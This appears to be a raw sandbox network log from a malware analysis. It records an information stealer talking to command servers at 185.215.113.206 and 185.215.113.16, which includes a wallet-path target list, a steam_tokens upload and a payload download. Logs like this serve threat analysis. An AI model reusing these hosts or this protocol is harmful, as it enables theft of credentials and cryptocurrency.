Dec 6, 2024 22:08:53.672983885 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 6, 2024 22:08:54.110626936 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 6, 2024 22:08:57.230463028 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 6, 2024 22:08:57.667574883 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:57 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 6, 2024 22:08:58.271666050 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 6, 2024 22:08:58.708911896 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:58 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 6, 2024 22:08:59.281893969 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----ECAKECAEGDHIECBGHIII Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2024 22:09:00.396752119 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:08:59 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 22:09:00.444525957 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCBGDGCAAKJEBFIDBAAA Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 48 43 42 47 44 47 43 41 41 4b 4a 45 42 46 49 44 42 41 41 41 2d 2d 0d 0a Data Ascii: ------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------HCBGDGCAAKJEBFIDBAAAContent-Disposition: form-data; name="message"wallets------HCBGDGCAAKJEBFIDBAAA--
Dec 6, 2024 22:09:00.884352922 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:00 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 6, 2024 22:09:00.888063908 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GHIJJJEGDBFHDHJJDBAK Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 4a 4a 4a 45 47 44 42 46 48 44 48 4a 4a 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------GHIJJJEGDBFHDHJJDBAKContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------GHIJJJEGDBFHDHJJDBAKContent-Disposition: form-data; name="message"files------GHIJJJEGDBFHDHJJDBAK--
Dec 6, 2024 22:09:01.328512907 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 22:09:01.342037916 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJKEBGDHDAFHJKEGIID Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 4b 45 42 47 44 48 44 41 46 48 4a 4b 45 47 49 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------BKJKEBGDHDAFHJKEGIIDContent-Disposition: form-data; name="file"------BKJKEBGDHDAFHJKEGIID--
Dec 6, 2024 22:09:02.304145098 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:01 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 22:09:02.333324909 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FBFCGIDAKECGCBGDBAFI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 46 42 46 43 47 49 44 41 4b 45 43 47 43 42 47 44 42 41 46 49 2d 2d 0d 0a Data Ascii: ------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------FBFCGIDAKECGCBGDBAFIContent-Disposition: form-data; name="message"ybncbhylepme------FBFCGIDAKECGCBGDBAFI--
Dec 6, 2024 22:09:02.772505045 CET	271	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:02 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49830	185.215.113.16	80	6720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:09:02.897677898 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 6, 2024 22:09:04.263770103 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Dec 2024 21:09:03 GMT Content-Type: application/octet-stream Content-Length: 3206144 Last-Modified: Fri, 06 Dec 2024 20:44:29 GMT Connection: keep-alive ETag: "6753622d-30ec00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0@ 10@WkX00 @.rsrc@.idata @ffwzukkx00@clkqzkfu00@.taggant00"0@
Dec 6, 2024 22:09:04.264137983 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 22:09:04.264758110 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 22:09:04.265023947 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 22:09:04.265028954 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 22:09:04.265535116 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 22:09:04.265974045 CET	1236	IN	Data Raw: b3 dd 94 e4 4e de 61 b7 fa b5 a9 0c 6b 98 e8 e4 ee 77 c2 2e 27 3b 82 17 26 23 0a fb f9 5f 92 8c 53 dd 94 e4 4e de 61 b7 fa b5 a9 0c 63 98 e8 e4 ee 1f c5 2e 27 3b 62 17 26 23 0a 1b f9 5f 92 8c 73 dd 94 e4 4e de 61 b7 fa b5 a9 0c 7b 98 e8 e4 ee 8f Data Ascii: Nakw.';&#_SNac.';b&#_sNa{.';B&#_Nas.';"&#_3NaKG.';&#{_NaCO.';&#_Na[.';&#;_NaS?
Dec 6, 2024 22:09:04.265979052 CET	248	IN	Data Raw: 27 3b c2 0c 26 23 0a 3b cb 5f 92 8c 93 e0 94 e4 4e de 61 b7 fa b5 a5 0c ff 99 e8 e4 ee bf c3 2e 27 3b a2 0c 26 23 0a 5b cb 5f 92 8c b3 e0 94 e4 4e de 61 b7 fa b5 b1 0c cb 99 e8 e4 ee 6b d9 2e 27 3b 82 0c 26 23 0a fb ca 5f 92 8c 53 e0 94 e4 4e de Data Ascii: ';&#;_Na.';&#[_Nak.';&#_SNa+.';b&#_sNa7O.';B&#_Na.';"&#_3Na.';&#{_Na{.';&#_Na
Dec 6, 2024 22:09:04.266541958 CET	1236	IN	Data Raw: 4f 9a e8 e4 ee f7 d9 2e 27 3b c2 0d 26 23 0a 3b c8 5f 92 8c 93 e7 94 e4 4e de 61 b7 fa b5 a5 0c 57 9a e8 e4 ee 77 cc 2e 27 3b a2 0d 26 23 0a 5b c8 5f 92 8c b3 e7 94 e4 4e de 61 b7 fa b5 a9 0c a3 9a e8 e4 ee 47 c1 2e 27 3b 82 0d 26 23 0a fb c7 5f Data Ascii: O.';&#;_NaWw.';&#[_NaG.';&#_SNa.';b&#_sNa.';B&#_Na.';"&#_3Na.';&#{_NaW.';&#_
Dec 6, 2024 22:09:04.266549110 CET	1236	IN	Data Raw: d3 ea 94 e4 4e de 61 b7 fa b5 a9 0c f7 96 e8 e4 ee f7 ce 2e 27 3b e2 0a 26 23 0a 9b d9 5f 92 8c f3 ea 94 e4 4e de 61 b7 fa b5 a5 0c cf 96 e8 e4 ee 8f ce 2e 27 3b c2 0a 26 23 0a 3b d9 5f 92 8c 93 ea 94 e4 4e de 61 b7 fa b5 a9 0c db 96 e8 e4 ee b7 Data Ascii: Na.';&#_Na.';&#;_Na.';&#[_Na.';&#_SNa7.';b&#_sNa7.';B&#_Naco.';"&#_3Nas
Dec 6, 2024 22:09:04.383965969 CET	1236	IN	Data Raw: 22 23 6e b7 fa 48 2f 97 70 96 84 f4 70 e3 20 2d 23 53 6b ed b3 18 e9 e4 41 12 78 eb bc 58 aa 69 e7 1f e2 8c 4a 08 97 e4 a4 df ad 71 e1 41 f1 aa 22 23 6e b7 fa 90 d4 e8 e0 1c 26 ee 62 23 e2 8c 83 08 97 e4 4e de 61 b7 fa d7 61 b7 fa d7 61 b7 fa d7 Data Ascii: "#nH/pp -#SkAxXiJqA"#n&b#Naaaag.'lbVH/pvakw;$#")&;IVi/H@T'\ekb#kSaaLaaH/p",>qA"#naH/p8JR=Ax

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49847	185.215.113.206	80	6720	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 22:09:09.883019924 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAAECAFHDBGIDGCAEHJE Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 64 61 36 39 31 66 63 62 37 30 34 65 63 66 65 38 65 35 62 61 62 64 30 30 33 66 66 36 30 64 36 31 30 36 38 66 33 62 33 31 39 30 30 38 62 65 35 34 39 64 39 66 66 38 66 36 32 33 36 38 66 31 61 37 35 37 33 34 30 32 62 33 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 44 41 41 45 43 41 46 48 44 42 47 49 44 47 43 41 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="token"da691fcb704ecfe8e5babd003ff60d61068f3b319008be549d9ff8f62368f1a7573402b3------DAAECAFHDBGIDGCAEHJEContent-Disposition: form-data; name="message"wkkjqaiaxkhb------DAAECAFHDBGIDGCAEHJE--
